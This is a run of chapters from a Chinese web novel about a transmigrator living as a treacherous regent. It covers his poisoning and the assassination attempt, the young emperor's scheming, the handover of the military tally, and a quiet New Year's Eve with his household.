宋闻璟闻言笑着点点头,反正他现在还没到书中下线的地方,现在占点便宜应该没什么事吧,更何况他还问了下小皇帝,小皇帝都同意了,那肯定没什么事。 宋闻璟一边想着,一边被马车里暖呼呼的温度烘的昏昏欲睡,扫了一眼旁边已经躺下背对着他睡着的小皇帝,宋闻璟再也没什么好担心的了,脑中最后一根弦瞬间崩断,两眼一闭没了意识。 反倒躺在马车上的小皇帝气的牙痒痒,奸臣这是什么意思,在朝堂百官面前,还和朕共程一车,这是仗势欺人,根本不把朕放在眼里,居心叵测的小人。 两刻钟后,众人到达福泽寺,主持和众多弟子站在寺口静静等待,看见沈翊一行人走来,主持与之客套了几句后,便带着众人去了后山。 后山原本孤寂的场景,现在被一片一片红布装饰的热闹非凡,众官员整整齐齐站在沈翊身后,沈翊登上高台持着三根香,朝四个方面各拜了一边,随后插在前面的插香炉里。 三缕白烟缓缓升起,沈翊小小的身影慢慢俯下去,随之高台下众官员齐齐跪拜,齐声道:“愿神灵庇佑,国泰民安,百业兴盛。” 声音洪亮,好似在千里之外的神灵也能听个真切。 地上的落雪被风吹起又落下,昨晚刚刚堆砌起的雪堆,渐渐矮了身形,宋闻璟跪在地上,冰凉的触感从手心里传来,又游走至全身,宋闻璟不禁微微一动,打了个寒颤。 祭祀一直持续到下午,主持备好客房让各位休息,累了接近一天的官员也二话不说的躺在床上就开始迷糊。 而宋闻璟看着祭祀这么顺利的结束,心中不由得松了一口气,幸好没出什么岔子,要不然再出现一场反动,他还活不活了,也不能这么快掉线啊。 咚咚—— 房门被敲响,一个寺中弟子端着一碗姜汤,看到宋闻璟时,面露笑意道:“大人,这是主持为各位准备的姜汤,驱寒的。” “嗯,谢谢。”宋闻璟从他手中接过来,却发现弟子虎口留了一道疤,像是被什么东西硬生生捥掉了一块肉,看着有些骇人。 弟子看着宋闻璟慢悠悠喝完拿到碗后,又下了去。 一行人稍作休息,又马不停蹄地去赶路,官员继续三三两两结伴同行,宋闻璟左看看右瞧瞧也没人愿意跟他一块走,干脆又厚着脸皮去找了小皇帝。 彼时,沈翊正坐在马车上悠闲地看书,瞧见宋闻璟又上来了,心里的嫌弃表现的面上却笑了起来,“皇叔。” “陛下在看什么书呢?”宋闻璟找了切入点,进而自然而然地坐了下去。 “没什么。”沈翊装模作样地随便翻了几页,“就是一些平日学过去的诗文,现在再拿出来看一下。” “那陛下都学会了吗?” 宋闻璟看着沈翊那双清澈明亮的眼睛,“柳太傅对你可好,可还如许太傅一般为难你?” 沈翊摇摇头:“柳太傅人很好。” 宋闻璟心中默默松了一口气,虽然柳溪在传闻中不学无术,但好歹人品还不错,也不会带坏小皇帝。 宋闻璟继续问道:“那柳太傅教你什么了吗?” “教了。”沈翊道,“教了好多好多。” 宋闻璟默默想着,难不成柳溪真有些本事? 而后,沈翊一双漆黑如夜的眼眸发出亮光,兴致勃勃地靠到宋闻璟身旁,问:“皇叔,朕柳太傅说,宫外的庙会都可热闹,可有趣,以往朕都在宫里,陪父皇和母后过节,从没到外面看过,柳太傅还说等下一次,他带朕出去玩。” “皇叔,你会同意的吧。” 沈翊一双亮晶晶的眼睛是藏不住的期待,宋闻璟只是看了一眼便败下阵来,“陛下当然可以出去玩了。” “好啊!”沈翊拉起宋闻璟的手,两人勾起小拇指,开始拉勾发誓,沈翊笑道:“皇叔,可不能反悔了。” 十三岁的孩子,天真无邪,就好似马车外的落雪,洁白无瑕,即使沾染了污渍,里面还是纯白的。 但宋闻璟纯然不信,甚至有点不可思议地看着他,对于一个死敌,小皇帝还能装得如此如火纯青,根本不漏一丝破绽,这真的很需要一个强大的内心。 两人坐一起,沈翊装模作样地靠在他身上,小孩子心性地缠着宋闻璟给他讲故事。 宋闻璟没办法,连编带骗地把小兔子乖乖都给搬出来了,沈翊其实没兴趣,就是故意想给宋闻璟找点事,也跟自己找点事做。 说多了,宋闻璟感觉身上渐渐热起来,也不像往常一般冷了,好似讲故事真有取暖的功能。沈翊是眼见着奸臣 7. 第 7 章 《奸臣他只想种地》全本免费阅读 沈翊坐着缓了一阵,等全身不那么痛了,随后站起身抬头看向洞口被无限缩小的天空。 远处几个追来的刺客也因为这阵巨响,而迅速向前聚拢。 周围风又起,洞口时不时落下几堆白雪,沈翊朝四处打量,除了土就是雪,丝毫没有可以用得上的东西,忽然的一瞬间,沈翊开始懊悔,他凭什么让柳溪那个不要脸的人留在皇宫里呼呼大睡,而自己却在生死逃亡,这简直忍不了! 沈翊这样想着,忽然又再次起什么,他扭头朝一旁看去,宋闻璟安安静静地躺在哪里,好似已经彻底没了动静,连微弱的呼吸声也听不见了,沈翊走过去,心里又惊又喜,他盼着奸臣早点死,但又不想受到牵连,毕竟奸臣手里还有兵权,他身后空无一人不可能以一敌百。 “皇叔。”沈翊停在他跟前,轻轻地叫了一声。 对方没反应,此时只是一个呼吸的动作也显得特别困难。 沈翊蹲下身,将遮住宋闻璟脸上的衣袖捏起一角轻轻掀开,宋闻璟面容惨白,像极了一朵凋零枯萎的娇花,沈翊又接连叫了几声,甚至大着胆子上手戳戳了奸臣的脸颊,又软又凉,丝毫不像往日吃人不吐骨头的奸臣。 “皇叔,你这次是真的要去吗?”沈翊自言自语,嘴角抑制不住地往上扬起,似乎早已把这句疑问句变成了肯定句,他伸出手还未落至鼻下,一阵利器碰撞清脆的声音骤然从耳边响起。 沈翊闻声,立刻警觉站起身抬头看向洞口。 又过良久,声音平息,洞口出现一张笑的贱兮兮的脸,柳溪幸灾乐祸道:“哎呦,这不是我们陛下吗?怎么在这洞里待着,真是稀奇。” “柳溪,你别这得意!”沈翊气呼呼地指着他,“等回宫,朕必拿你是问!” 柳溪拍了拍手,“陛下,你怎么还没分清状况,你现在不应该求着我吗?大丈夫能屈能伸,这个道理陛下不会不懂吧。” “你!”沈翊扭过头,开始低下身段放缓语气,转移话题道:“你怎么来了,你不是还在皇宫里睡觉。”跟个死猪一样。 “没有啊,你们走了之后,我也就醒了。”柳溪低下头,看着洞里情况,发现除却沈翊还有一个人,但看不清面容,为消灭自己的八卦心理,柳溪跳下来,问:“这是谁啊?” “人。”沈翊低声回复,待柳溪看清人,不由得一愣,随后伸手探了探宋闻璟微弱的鼻息,还有一口气。 “陛下,这人……” “我们走。” “好。”柳溪刚将宋闻璟扶起身,就被沈翊大声打断道:“不是让你救他,是我们两个走。” “可,这人还没死透呢。”柳溪犹豫不决,扶着宋闻璟的手顿时也显得不知所措。 “他死了,不是更好吗?朕夺回属于朕的皇权,你也离你的目的越来越近,两全其美的办法。”沈翊正经地看着他,“你忘了你曾经说过什么了吗?他本就死有余辜,你何必让他多活这一会儿?” 柳溪愣了愣,随后又将人放下,嘴里振振有词道:“师父,我不是故意见死不救的,您老人家在天之灵肯定看到我被威胁了,拜托千万不要半夜托梦来找我,拜托拜托。” “行了。”沈翊有些不耐烦,“带朕上去。” “那我们真就这样把他放在这里?”柳溪再三询问道。 “这有你什么担心的,想要他命的人不少,想救他人也够足够多,要不然你以为他真能活到这么久?” 沈翊说里满是不屑,问道:“那些朝廷官员可都活下来了。” “死伤不在少数,也有几个跑得快的。”柳溪抱着他,回到地面。 沈翊笑了笑,“挺好的,省得朕亲自动手了。” 这次的突然行刺,必定会给朝堂注入新的血液,从先帝开始便有不少根基扎实的官员在朝堂中占据一片天,属于皇帝的权威也被这些人一次次分割,等他们开始冒头,却也发现早已根深蒂固,一次次的打压治标不治本,势必会再次卷土重来。 沈翊其实也本想私下整治这些官员,但始终未找到合适的机会一刀铲除,这次的行刺虽有些突然,但也误打误撞一大隐患。 “陛下,此经交手我还发现这些刺客身上都带了这样的标志。” 话音落,柳溪拿出从刺客身上取下来的利剑。 “这是?”沈翊看着这标志皱了皱眉,柳溪解释道:“臣猜测这些刺客或许可能是一个新兴起的组织。” “组织?给朕去查。”沈翊默了默,“私底下去查。” 柳溪点点头。 “那我们真不管他了,但他要是活下来,过来质问陛下怎么办?”柳溪顿了顿,甚是担忧。 “怕什么?”沈翊笑了笑,“他都晕过去了,什么事能记得那么清楚,裴夏那个护主的狗,应该也快来了,我们走就是了。” 柳溪回头看了一眼,随后带着沈翊走了。 …… 裴夏是两人刚走就找来了,几乎是看见宋闻璟后,便急急忙忙回了府,府中姜老刚要闭眼睡了懒觉,便被下人着急地拉了过去。 他见过太多宋闻璟病了的模样,此时也表现尤为的淡定从容,与房间里压抑的气氛也显得格格不入。 不过,这次姜老却有些棘手,宋闻璟不同以往那般旧疾复发,更像是中毒,但施毒人下毒用量少并不想一击要了宋闻璟的命,毒性虽不至死,但宋闻璟从小便从娘胎里出来,体质就比平常的婴儿弱一点,又经历朝堂上的风卷云涌,多少人等着想要了他的命,这些年,宋闻璟的体质早就大不如前,能活到现在似乎全凭一口气吊着,此次一险,毒发加之旧疾一并卷土重来,这才导致宋闻璟一直昏迷不醒。 裴夏站在旁边,看着姜老皱起眉又惊又喜,变化莫测的表情让裴夏心里一上一下,最后受不了姜老的压迫,耐着性子问道:“你看了这么久,主子到底有没有事?” “有!”姜老一口咬定,“这不是摆明的事吗?” 裴夏顿了顿,心里一空,表情呆滞地站在原地,大脑里抑制不住的开始将往后的日子都想了一下,姜老笑着拍了拍他的肩膀笑了笑,“不用太担心,现在还死不了。” 随后姜老在众人的注视下,镇静自若地列出药方,安排下人去抓药,随后便又大摇大摆地回去睡懒觉,散漫的好似刚刚只是一场平常不过的梦游。 8. 第 8 章 《奸臣他只想种地》全本免费阅读 沈翊说着,心里更加气愤痛恨眼前人一分,要不是因为他,自己怎么又会沦落至此,成了个被架空权力的傀儡皇帝,虽然心有不甘,但沈翊也没敢表现出来,他双眸闪着亮光看着他,却也没想到朝堂中,奸臣的势力会变得如此庞大。 除去旧势力,朝堂之上竟无人敢与之抗衡。 但宋闻璟本人从没想过自己的势力会有那么大,竟连朝堂也能暗自操控。 “自然可以。”宋闻璟点点头,“陛下为国事担忧,臣自是不敢怠慢。” 宋闻璟又想了想,“不知陛下看上哪几个人?” 小皇帝眼光确实有待考究,识人不误这才能保证天喜未来不会继续败落下去。 沈翊一顿,随之笑着反问道:“皇叔可有人选了吗?” “这……”宋闻璟沉思起来。 沈翊目光一暗,随后心中细细斟酌着,现在朝中势力被消去大半,自是应该拉拢人心的好时机,若奸臣安排,自是提拔自己的势力,此时,也自是摸清奸臣私下势力的好时机,沈翊专注地看着他,生怕漏掉什么。 “臣听说,赵家公子赵廉虽寒门出身,但为人正直,能力出众,现居于七品翰林院编修,实属有点屈才,不如借此机会也将赵公子提拔一下,这样即能鼓励寒门弟子努力学习积极入仕,又不会寒了这些才子怀有报国志的心,也能让朝堂上少一些争斗,多一些生机,陛下,可觉得行?” 宋闻璟冲着他笑了笑,至于为何要推举赵廉这个人,宋闻璟只觉得对他的印象很大,这个人虽不是高门贵族出身,但身上所带的傲气与高贵却与生俱来,在小说中,赵廉最后成了沈翊亲封的右相,虽年龄小却身居高位,深受百姓爱戴。 赵廉一身正气,为百姓更是将公正廉明刻在骨子里,也正是因为赵廉,百姓安居乐业,日子欣欣向荣,或许是人物品行与行业的吸引,宋闻璟在上朝时,总会往后偷看站在角落里无人问津的赵廉。 “皇叔既然这么说,朕自然也同意。”沈翊想了想,“那等明日朕让人拟一份名册给皇叔,皇叔若同意,朕便挑个日子一起提拔上来。” 宋闻璟点点头,丝毫没注意到沈翊眼眸闪过去的一丝厌恶,沈翊好声道:“皇叔,你继续休息吧,朕先回去了。” 宋闻璟笑着点头,随后又看向窗外的黄昏落日,语气渐渐缓了下来,“陛下,此番遇险,真不是臣……” “朕知道。”沈翊故意出声打断,“朕一定会查明真相,将幕后之人亲自捉拿!” “陛下……”宋闻璟叹了声气,“臣相信陛下自有定夺回,善后的事情也都全全交由陛下处理了。” 沈翊正经地点点头,站起身刚刚推开房门,那久趴不动的小财却猛然抬起头,摇着尾巴又凑了过去,沈翊走的快,小财还没等着跟着一起出去,就被又关在屋子里,宋闻璟身子不好,寒冬暖日的屋子总比平常的屋子暖和不少。 小财在屋里待热了,对着房门大喊大叫,想引起外面人的注意,但外面都被沈翊喊走了,没人能给它开门。 小财的犬吠声,引起了宋闻璟的注意,宋闻璟这才想起来屋里还有一条小狗,轻轻唤了几声,小财便又吐着舌头走到宋闻璟跟前。 宋闻璟突然觉得这小狗好像很通人性,便喜欢的将小财从床下抱了上来,抬手摸了摸小财吃的圆滚滚的肚子,讪笑道:“你这小家伙,刚来时奄奄一息,好似已经救不活了,现在倒吃的这么多,把肚子都给吃圆了,这以后越长越肥可怎么办?” 闻言,小财动了动身子,努力挣脱了开宋闻璟的束缚,随后又安安稳稳趴在枕头旁大叫了几声表示了自己的不满。 宋闻璟被逗笑了,却又不敢笑的太用力,心口一阵阵的发疼如同被千万根针密密麻麻地扎过,随后逮着小财撸毛,自言自语试图转移注意力。 一人一狗相处还算和谐,不多时,裴夏端着一碗汤药推开房门走了进来,寒风随之飘飘进入房内,将部分暖气挤了出去。 小财听见声音感受到一丝寒气,随后站起身就往外跑,宋闻璟摸的正起劲一个没抓住,动作一快扯着心口一阵剧痛,顿时又咳了起来。 小财跑得快,像是一个在漂移的小土豆,跑出房间又跑到院子里到处散欢,连带着雪地里遍地都是一串一串的小脚印。 “主子,您没事吧。”裴夏快步走到床边,轻轻抚着宋闻璟的背给他顺气。 宋闻璟捂着嘴身体无力地靠着裴夏,竟咳得越来越厉害,一双柔情似水的桃花眼也在此时微微发红蒙上了一层泪幕,最后受不住猛然从嘴里吐出一口暗红的血,这才算彻底停了下来。 裴夏看着从宋闻璟指缝中滴落下来的血流,不由得一惊,刚想再把姜老拽来,却见自家主子跟个没事人一样,拿帕子擦了手,又不急不慢地将那一碗药端着喝完了。 “主子,要不要再让姜老过来给您看看?” 宋闻璟摇摇头,轻轻喘气道,“咳出来好受多了。” 裴夏守在他旁边,亲眼看着宋闻璟渐渐回复红润的面容才彻底放下心,走到一旁将周围收拾干净,而躺在床上的宋闻璟突然觉得奸臣是怎么把人收服的如此忠心,可这人跟在奸臣身边又图什么呢? 宋闻璟又扭头看了他一眼,心头突然冒出一阵同情,如果最后的结局无法改变,跟在奸臣身边的这些人下场又会怎么样?或许不会活过第二天。 “裴夏,你没有想走过吗?” “去哪?” “哪里都可以,除了留在这里。” 裴夏无奈地笑了笑:“已经走不了了,我们死士签了生死状,此生此世都要留在这里。” 宋闻璟不解:“若本王执意要你离开,那你会走吗?” 裴夏摇摇头:“不会的,死士的下场只有死,与其在外漂泊死的不值一提,不如留在这里死的更有价值。” 宋闻璟看着笑了笑,随后抬起胳膊让裴夏搀扶着自己下床,苦笑道:“你帮本王磨墨,然后务必在明天早上之前将信交给小皇帝。” 裴夏虽不明所以,却依旧照做,看着主子的日渐消瘦的身影,裴夏曾有一瞬间不想再帮主子参与这朝堂之中的明争暗斗,只希望主子做个逍遥自在的王爷,平安顺遂的才好。 …… 偏殿里灯火通明,沈翊皱着眉不断在官员名册上写写划划,划掉大半死伤严重不能再继续任职的官员,一半又有人推荐来补上自己的位置,打着一手的好算盘。 弄了半晌,沈翊看着赵廉这两个字始终下不去手,赵廉什么时候去投靠奸臣了?奸臣这样 9. 第 9 章 《奸臣他只想种地》全本免费阅读 第二日早朝,宋闻璟没来,只交给裴夏一封信在早朝之前转交给小皇帝。 除此之外,还有一份独特的大礼--小皇帝心心念念的宋家兵符。 宋闻璟知道,小皇帝怕他不止因为他做事狠绝,更是惧怕他身后的这支精壮的军队,而只要把这个烫手的山芋扔出去,宋闻璟才能保证小皇帝会打消对他一半的念头。 但这只军队,是宋闻璟所有的底气,宋闻璟不是没有想过如果连这份厚礼也掀不起小皇帝心中的一点波澜,那起兵造反或许是唯一的出路,但仔细想来,自己没摸清小皇帝到现在到底积攒多少势力,就这么堂而皇之的出手可能不是个好办法,而小皇帝或许也不会这么突然,不会这么快聚集势力来对抗一个空壳权臣,现在的局势自己仍占据优势。 而现在宋闻璟自愿献出兵权,只为求一条生路,沈翊看到这封信时瞳孔一震,这怎么会是奸臣做出来的事,除非这又是奸臣的试探。 直到裴夏说出一些莫名其妙的话:“我家主子托在下给陛下带了句话,主子说从现在开始陛下没有了后顾之忧,也希望陛下能善待远在边疆的将士们,这场关于权力的争夺,最后的赢家都会是陛下,不论是现在还是以后,主子希望陛下能清明廉洁,做一个受世人爱戴的明君。” 裴夏停下话,又抬眼瞧了瞧小皇帝,继续道:“主子还说,陛下不用再在主子面前演戏了,若陛下不想再看见他,主子说他可以永远留在府里,不再出来。” “皇叔,真这么说的。”沈翊听的头脑发愣,一时间没反应过来这奸臣到底要干什么,最后更是被一句话,被冲的不知所措。 裴夏点点头,随后道:“东西和话,在下都已带到,若没有旁事,在下就退下了。” 沈翊看着手里的信和宋家兵符,心中顿时乱成一团麻,不知该喜还是惊,从前的奸臣怎么会将这般重要的东西就这么随便给人,奸臣心性难以琢磨,难不成这次不知又出了什么新法子,其实这送来的这兵符是假的,奸臣又是为了试探朕是不是有策反之心? 沈翊这般想着,将手中环形般的兵符仔细端详起来,听说宋家兵符由上好的白玉打造,玉上也让人雕刻着一圈花纹,样子漂亮,质感也好,纯白皎洁,就如这天上的月亮一般散发着的高贵典雅的气息,找不到一丝血腥味。 “陛下,时间到了,该上早朝了。”李公公在耳边提醒他。 “朕知道了。”沈翊将兵符紧握在手里,似乎心里也更加有了底气。 上早朝时,人也显得精神不少,说话的声音也比以往提高了几分,气势也渐渐强大起来,这是沈翊第一次在朝堂上敢这么说话。 “陛下,这万万不可啊,一时提拔这么多官员,怕是有失朝堂严谨,此事重大,不如等摄政王上朝时,再定夺也不迟。” 一个白发苍苍的老者跪在下面,随之更多的官员纷纷站了出来。 沈翊一口气没咽下去,看着天天和他作对的大臣心中火气瞬间旺了起来,更是在听到“摄政王”这三个字后,直接被点燃。 天天摄政王这,摄政王那,眼里只有摄政王,根本就不把朕这个皇帝放在眼里,沈翊越想越气,最后是可忍,孰不可忍,站起身直接抄起前面放着的奏折朝下面排的整整齐齐的官员们的脑袋上狠狠砸了下去。 “朕说的话,你们是都不听吧,到底摄政王是皇帝还是朕是皇帝!” 沈翊嗓子一喊:“从现在开始,朕说的话就是指令,谁敢不听别怪朕不近人情!” “陛下,这……” “够了!”沈翊胳膊一挥,憋着气的一本正经道,“庄老你一而再再而三的挑衅朕,对朕不敬,但朕敬你年纪大,只罚你两个月的俸禄,退下吧。” 庄平以为自己幻听了,站在原地愣了一下,这小皇帝是大了胆,变了性吗? “其他人,再不退下去,一律按法其处理。”沈翊语气威胁,发出再一次警告。 不知怎的,其他人好像被镇住了一样,纷纷又站了回去。 这儿的早朝,众人都觉得怪怪的,这小皇帝也怪怪的,或许是因为摄政王不在,没人压着他了,小皇帝也变得猖狂不少,众人发觉后,下了朝就纷纷往摄政王府赶,去打小皇帝的小报告。 而此时,宋闻璟才刚刚睡醒,眼还没睁开多久,便看着裴夏抱着一堆奏折走了过来。 “这奏折怎么又送过来了,再送回去吧,就说本王没精力以后都不看了。” 裴夏摇摇头:“这是那些大人写给主子你的?” 宋闻璟愣了一下,什么时候这些大臣对他这么亲了,就几日不见还要写份奏折来慰问一下? “主子。”裴夏踌躇道,“主子,你就把兵符这么给了小皇帝,会不会太亏了?” “亏吗?”宋闻璟笑笑,“本王觉得挺好的,要不然还要因为它担惊受怕,现在倒也不错,起码少了一件烦心事。” 裴夏道:“今天的早朝,小皇帝是放肆了不少,不仅当朝罚了庄大人两个月俸禄,还提拔了不少官员,引得众人不满,这些奏折,都是那些大人 10. 第 10 章 《奸臣他只想种地》全本免费阅读 高颉这个人,宋闻璟显然是没什么印象,但这个人能和大奸臣关系这么亲密,应该也算不上什么好人。 “他过来送什么了?”宋闻璟问道。 香凌转动着眼珠沉思良久,最终一拍额头,“好像是一把小型弓弩,现在应该被裴夏保管着。” 宋闻璟点点头,随后又问道:“裴夏还没回来吗?” “还没呢。”香凌疑惑,“您不是给裴夏安排了事情吗?” 宋闻璟怔了怔,别过脸小声嘀咕道:“只是让他去传个话而已,怎么还不回来。” “大人别担心,裴夏身手敏捷,肯定不会出事的。”香凌颇为放心道,“哎呀,奴婢只想着和大人说话了,忘了给小财喂饭了。” “刚刚奴婢去后院折花,小财就一直着奴婢,现下应该又闻着味儿去后厨找吃的了,奴婢去看看,主子的药还在后厨放着呢,别让小财给弄撒了。” 香凌说着,便急忙起身走了出去。 直到傍晚,裴夏提着大包小包地回来了,并且身后还带了个人。 宋闻璟刚刚用完晚膳,正在后院陪着小财玩游戏,为了防止小财未来真的成为一只大胖狗,宋闻璟故意让人少喂点饭给他,小财吃不饱不满意,吃完饭就开始在院子里到处捣乱,一会儿咬咬这个,一会儿又刨个坑在那边,宋闻璟看着小财没吃饱也这么精神,转头就和小财玩起扔小球的游戏。 众人不知道为什么,刚刚前一秒还到处撒泼让人发愁的小财,下一秒就摇着尾巴嘴里咬着小球,讨好地凑到宋闻璟跟前还想再玩一遍。 宋闻璟拿着小球一路扔到后院,小财跑过去又跑过来,似乎也不觉得累,直到裴夏带着个年轻人过来,小财听到动静,也不捡球了,发出“呼隆隆”的声音,猛地跑到那人跟前,恶狠狠地盯着他。 “小财,回来。” 宋闻璟走上前,看着躲在裴夏身后的年轻人笑了笑:“这狗不咬人的。” “大人!”那人听见声音,一个箭步跨过小财又挂在宋闻璟身上,“您没事吧,前几日下官来看您,您都还没醒,可吓死下官了。” “汪汪汪!” 小财张开嘴咬住那人的下摆吃力地往后扯,一阵布料撕扯的声音响起,那人也立马伸出两只手一边往回拽,一边说道:“狗兄,你怎么翻脸不认人了,前几日,小弟还来过啊,您怎么还不记得了?” “高大人。”裴夏无奈,俯下身拍了拍趴在地上小财的狗头,小财松开衣角,又被裴夏抱了起来,一张狗脸扭成一团,写着满脸的不服气,“小财是个倔脾气,您不要和它扯,一会它就自己松开了,跟您闹着玩呢。” 宋闻璟看着他,轻轻地笑着,又在听见“高大人”三个字时,神情一愣,“高颉?” “大人!”高颉一脸哭诉,抱着他哼哼了几声,忽而又想起什么,猛然直起身,一本正经问道:“大人是不是受了什么委屈!” “什么?”宋闻璟有些不明白。 “大人,你为什么要把兵符让出去啊,你是不是被那狗皇帝抓住把柄了。”高颉又担忧又气愤,“有把柄没事,下官肯定帮大人办的明明白白的。” 高颉一手揽着他,一手捂着额头,便开始吹嘘道:“大人,只要有下官在,这天下迟早是我们的!以后大人当了皇上,下官就辞了这份职,每天伺候大人吃饭睡觉,热了下官给您扇风,渴了下官给您倒水,冷了下官宁可脱了衣服给大人穿,冻着自己,也不会冻着大人的,下官保证……” “你在说什么?”宋闻璟皱了皱眉强制打断,又将他往旁边推了推,“好好说话,这样说,小心小皇帝听见。” “听见又怎么样?”宋闻璟刚刚一抬手,高颉下意识躲了一下,这次大人居然没弹他脑门,只是轻轻推了他一下,跟撒娇一样,高颉一下就飘了起来,人也瞬间狂妄不少,刚要挺起腰杆,小财好似又看不惯高颉这副样子,又朝他吼叫了几声。 高颉被吓了一跳,心脏也跟着一停,高颉又灰溜溜地跑到宋闻璟另一半,指着小财虚势道:“迟早这狗皇帝和这狗,一样被我踩在脚下。” 宋闻璟听着没说话,只是单纯地笑了笑,高颉看着宋闻璟心情好,不免继续献殷勤,道:“今儿下官上街,给大人买了好多东西和补品。” 说着,高颉跑到前院拿着一盒点心又跑了回来,“大人,这是下官在玉露阁买的栗子糕,可好吃了!” 三人一狗坐在梅林的石凳子上,石面上高颉扫了一下一层薄雪,随后捧起食盒凑到宋闻璟跟前,宋闻璟拿起一块咬了一口,又香又糯,确实很好吃。 “汪汪汪!” 被裴夏抱在怀里的小财,本来就没吃饱,刚刚还消耗了一堆能量,闻到这味,口水直接流到裴夏衣服上。 裴夏没办法,就把它放在地上,小财闻着味走到宋闻璟腿边,一边蹭一边叫。 宋闻璟看着小财这么 11. 第 11 章 《奸臣他只想种地》全本免费阅读 宋闻璟安安稳稳在府里待了十几天,不仅没了政务,小皇帝自从拿了兵符也再没来打扰他,府里除了高颉和其他大臣会来打打小皇帝报告,平常也是安稳的不行,宋闻璟看着日子越过越有盼头,心里也是欢喜不行。时光飞逝,一转眼便到了除夕。 府里上下,焕然一新,宋闻璟这几天心情好,将府里下人的工钱不仅提了双倍,还给下人们放了假回家过节。从今早开始,府里便着急忙慌地收拾着,门口挂上大红灯笼,又将府里都打扫了一遍,并买了一堆新东西,就连小财都有特殊定制的新衣服。 下午清闲时间,香凌缠着宋闻璟上了街,人群密集,比以往的集市更加热闹,东西更加丰富,香凌一时挑花了眼,拽着宋闻璟穿梭在各个摊铺前,一会摆弄个新簪,一会又给自己大方地挑选金银首饰,但挑挑选选还是选了个最便宜。 “这个好看吗?”香凌拿起一个荷花形状的步摇,轻轻一晃便叮当的响,“这只步摇,和奴婢头上的这只是不是很像?” 宋闻璟闻言,目光又从香凌手中移到头顶的那根簪子上,“很像,你是喜欢荷花吗?” 不过香凌头上的那朵荷花很小,好像害羞地藏在香凌乌黑的发丝之中,不想让别人发现。 香凌脸颊微微发烫,不自觉低下了头,“自是喜欢。” 宋闻璟闻言,看着香凌发红的脸颊,好像看透了什么,对小摊问道:“这步摇……” “哎呦,客官,您夫人真是好眼力。”小贩立马笑嘻嘻迎道,“这是今年的最新品,从街头到结尾就独我们这家有。” “她不是……”宋闻璟扭头看了一眼还在发呆的香凌,随后叹了口气道,“本……我先付钱吧。” 小贩笑道:“好嘞好嘞,一共二十五文,客官,小摊货真价实绝对值。” 宋闻璟不了解市场行价,付了钱后又敲了一下香凌的脑门,漫不经心道:“别装了,你都装了一路了,钱都付完了,现在该回去了吧。” 香凌撇撇嘴,不满地小声呢喃道:“明明以前都会主动给我花钱的,现在怎么越来越小气了。” 宋闻璟走在前面,香凌将步摇藏在袖口,一路上都时不时去摸一下,生怕漏掉。 “你这人怎么这样,你把这白菜叶子都弄破了,我还怎么卖了?” “不是我说,你里面都是坏的,外面的皮是好的有什么用。” “反正我拿出来是好好的,坏也你给我弄坏的。” “你……你这人怎么这么不讲理!” “你想走,得先赔钱。” 周围围了一圈人,而圆圈中间的两人来回扯着衣领拉扯,气氛一度僵持不下,似乎在下一个瞬间即将燃爆。 “谁在闹事!我劝你们都别在这个喜气的日子,进去坐坐。” 一群人闻声又紧急散开,只见两个穿着红色便衣,头戴獬豸冠的捕快大摇大摆走到两人面前。 两人看见捕快也急忙松开手,其中小贩率先反应过来,立马跪在那两个捕快面前,大声哭诉道:“大人,这人不买小人的菜就算了,还都把小人的菜都弄坏了,这让小人还怎么好好过个除夕夜。” 闻言,那人也不肯低下头,接着话继续道:“他胡说,这菜都是坏的,这根本就是欺骗客人!” 他一言他一语,眼看马上又要吵起来。 “够了!”其中一个瘦瘦高高的捕快一声下去,把周围人都吓了一跳,“都带回衙门!” “大人!我是冤枉的!” “天理自在,你去告诉天老爷,天老爷自然不会冤枉你,快都带走!” 捕快各带着两人走远了,围了一圈的人也都散了个遍,香凌拉着宋闻璟本想要向前探个究竟,却又被人硬生生挤了出去。 直到人群都散去,只剩几颗大白菜在路边孤零零的躺着,宋闻璟也有了好奇心,捧起一个水灵灵的大白菜,可去了外叶,里面都腐烂了,很显然这大白菜得病了,而且病的还不轻。 “大人,你在干什么?这都坏掉了,不能吃了,如果你想吃我们府里应该还有好多。” 香凌凑过脑袋,看着宋闻璟手里那颗菜心腐烂的大白菜。 宋闻璟将手里的大白菜又重新放回路边,点头道:“走吧。” 两人回到府,裴夏正坐在府门口前的台阶上拿着小球逗着小财玩,香凌看见裴夏便一路蹦蹦跳跳大摇大摆地走到裴夏跟前,拿出自己从街上买来的小玩意,凑到他脸前显摆道:“你没有吧!这是主子给我买的。” 裴夏和府中下人们办置好府中的事情,有些府中下人领了工钱便都回去了,还留下一部分无家可回,离家太远的下人们,现在正在后厨开始忙着做年夜饭。 “主子,您以后别给她买了,现在府中的开销都有点紧了。” 裴夏抱起穿着大红袄的小财站起身,又顺手揉了几下小财的狗头,笑问道:“你说是吧,小财。” “汪汪汪!” 小财不明所以地叫了两声,两只毛茸茸的耳朵也因为叫地太用力而都跟着抖动了几下。 香凌被气的不行,一人对两狗,吵架的气势却一点不输。 宋闻璟看着两人一狗在耳边吵来吵去,感觉头疼又犯了,但裴夏说的确实不错,自从将兵符交了出去,王府风气也不像往前一般有存在感了,也没人主动攀附结交,而且宋闻璟一连几天的请假,最后的俸禄也根本分不到几分钱。 宋闻璟看着这偌大的王府,这难不成又要开始上朝了吧?可是不干活,就没钱拿,没钱就养不了这么多人。 “大人!”香凌双手叉腰,小脸都被气红了,“奴婢再也不要和裴夏说话了!” 两人吵的终于有了结尾,宋闻璟刚想调解两人之间的气氛,香凌便拿着自己的东西跑了进去,跑到大门后,还不忘再怼裴夏一句,给自己搬回一筹。 反倒裴夏丝毫没放在心上,还悠闲地玩着小财那根毛茸茸的尾巴。 “裴夏,香凌怎么说也是个女孩子,好不容易等到这一天自是希望打扮的好看一点,你怎么不会学着让让人家。” 宋闻璟看着裴夏一脸不在乎的样子,心中甚是苦恼,今天明明是个阖家团圆的日子,为什么要吵架破坏气氛呢,如果放在平常拌嘴也就算了,可就今天看着偏偏又那么难受。 裴夏闻言,不禁笑了一声,“主子,香凌有您罩着,我们哪敢欺负她,更何况香凌被您带回来的这几年,您不都是捧在手心里宠着吗?虽然香凌看似是府里最平常不过的一个丫鬟,但人家以前不还是个含着金汤勺,天天锦衣玉食的小……” 裴夏一愣,自己居然顺嘴说了出来,关于香凌的身世,自家主子都曾严格要求不准说出去,现在倒好,自己就当着主子的面说了出来,真是把剑刃往自己心口里戳,但看着主子这么多日都没发过火,自己确实也纵容了不少,但主子唯独对于这件事却从来闭口不谈。 “主子,属下不是故意说……”裴夏全身紧绷,心慌的不行,自己一脚踩进雷区,生死似乎就在主子张口的一瞬间。 “你继续说下去。” “什么?” 